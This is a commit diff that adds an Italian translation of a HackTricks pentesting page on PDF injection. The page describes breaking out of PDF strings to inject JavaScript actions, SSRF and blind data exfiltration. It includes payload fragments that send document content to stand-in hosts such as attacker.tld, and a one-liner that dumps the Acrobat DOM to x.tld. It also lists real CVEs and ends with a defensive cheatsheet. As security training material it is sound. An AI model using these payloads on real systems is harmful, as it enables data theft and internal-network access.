Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m

This commit is contained in:
Translator 2025-08-04 18:27:18 +00:00
parent 0a09ca9c4c
commit c20a3201a9

View File

@ -1,7 +1,55 @@
{{#include ../../banners/hacktricks-training.md}}
**Se il tuo input viene riflesso all'interno di un file PDF, puoi provare a iniettare dati PDF per eseguire JavaScript o rubare il contenuto del PDF.**
Controlla il post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
# PDF Injection
{{#include ../../banners/hacktricks-training.md}}
**Se il tuo input viene riflesso all'interno di un file PDF, puoi provare a iniettare dati PDF per eseguire JavaScript, effettuare SSRF o rubare il contenuto del PDF.**
La sintassi PDF è estremamente permissiva: se riesci a uscire dalla stringa o dal dizionario che sta incorporando il tuo input, puoi aggiungere oggetti completamente nuovi (o nuove chiavi nello stesso oggetto) che Acrobat/Chrome analizzerà felicemente.
Dal 2024, una serie di report di bug-bounty hanno dimostrato che *una parentesi non scappata o una barra rovesciata è sufficiente* per l'esecuzione completa dello script.
## TL;DR Flusso di attacco moderno (2024)
1. Trova qualsiasi valore controllato dall'utente che finisca all'interno di una **(stringa di parentesi)**, `/URI ( … )` o campo `/JS ( … )` nel PDF generato.
2. Inietta `) ` (chiudendo la stringa) seguito da uno dei primitivi qui sotto e termina con un'altra parentesi aperta per mantenere la sintassi valida.
3. Consegna il PDF malevolo a una vittima (o a un servizio backend che rende automaticamente il file ottimo per bug ciechi).
4. Il tuo payload viene eseguito nel visualizzatore PDF:
* Chrome / Edge → PDFium Sandbox
* Firefox → PDF.js (vedi CVE-2024-4367)
* Acrobat → API JavaScript completa (può esfiltrare contenuti di file arbitrari con `this.getPageNthWord`)
Esempio (dirottamento del link di annotazione):
```pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
```
*Il primo `)` chiude la stringa URI originale, quindi aggiungiamo un nuovo dizionario **Action** che Acrobat eseguirà quando l'utente clicca sul link.*
## Utili Primitivi di Iniezione
| Obiettivo | Frammento Payload | Note |
|-----------|-------------------|------|
| **JavaScript all'apertura** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Esegue istantaneamente quando il documento viene aperto (funziona in Acrobat, non in Chrome). |
| **JavaScript sul link** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Funziona in PDFium & Acrobat se controlli un'annotazione `/Link`. |
| **Esfiltrazione di dati cieca** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Combina con `this.getPageNthWord` all'interno di JS per rubare contenuti. |
| **SSRF lato server** | Stesso di sopra ma targetizza un URL interno ottimo quando il PDF è reso da servizi di back-office che rispettano `/URI`. |
| **Interruzione di linea per nuovi oggetti** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Se la libreria ti consente di iniettare caratteri di nuova linea, puoi creare oggetti completamente nuovi. |
## Trucco di Enumerazione Cieca
Gareth Heyes (PortSwigger) ha rilasciato una riga di codice che enumera ogni oggetto all'interno di un documento sconosciuto utile quando non puoi vedere il PDF generato:
```pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
```
Il codice itera sul DOM di Acrobat e fa richieste outbound per ogni coppia proprietà/valore, fornendoti un dump *JSON-ish* del file. Vedi il white-paper “Portable Data **ex**Filtration” per la tecnica completa.
## Bug nel Mondo Reale (2023-2025)
* **CVE-2024-4367** Esecuzione arbitraria di JavaScript in PDF.js di Firefox prima della versione 4.2.67 ha bypassato il sandbox con un'azione `/JavaScript` creata ad hoc.
* **Bug bounty 2024-05** Un importante fintech ha consentito note di fattura fornite dai clienti che sono arrivate in `/URI`; il report ha pagato $10k dopo aver dimostrato SSRF verso l'host di metadata interno utilizzando `file:///` URI.
* **CVE-2023-26155** Iniezione di comando `node-qpdf` tramite percorso PDF non sanitizzato mostra l'importanza di eseguire l'escape di backslash e parentesi anche *prima* del layer PDF.
## Cheatsheet Difensivo
1. **Non concatenare mai input utente raw** all'interno di stringhe o nomi `(``)`. Esegui l'escape di `\`, `(`, `)` come richiesto dal §7.3 della specifica PDF o utilizza stringhe esadecimali `<...>`.
2. Se costruisci link, preferisci `/URI (https://…)` che codifichi *completamente* l'URL; blocca gli schemi `javascript:` nei visualizzatori client.
3. Rimuovi o valida i dizionari `/OpenAction`, `/AA` (azioni aggiuntive), `/Launch`, `/SubmitForm` e `/ImportData` durante il post-processing dei PDF.
4. Sul lato server, rendi i PDF non fidati con un *convertitore headless* (es. qpdf decrypt linearize) che rimuove JavaScript e azioni esterne.
5. Tieni aggiornati i visualizzatori PDF; PDF.js < 4.2.67 e Acrobat Reader prima di luglio 2024 consentono l'esecuzione di codice banale.
## Riferimenti
* Gareth Heyes, “Portable Data exFiltration XSS for PDFs”, PortSwigger Research (aggiornato maggio 2024). <https://portswigger.net/research/portable-data-exfiltration>
* Dawid Ryłko, “CVE-2024-4367: Esecuzione Arbitraria di JavaScript in PDF.js” (apr 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
{{#include ../../banners/hacktricks-training.md}}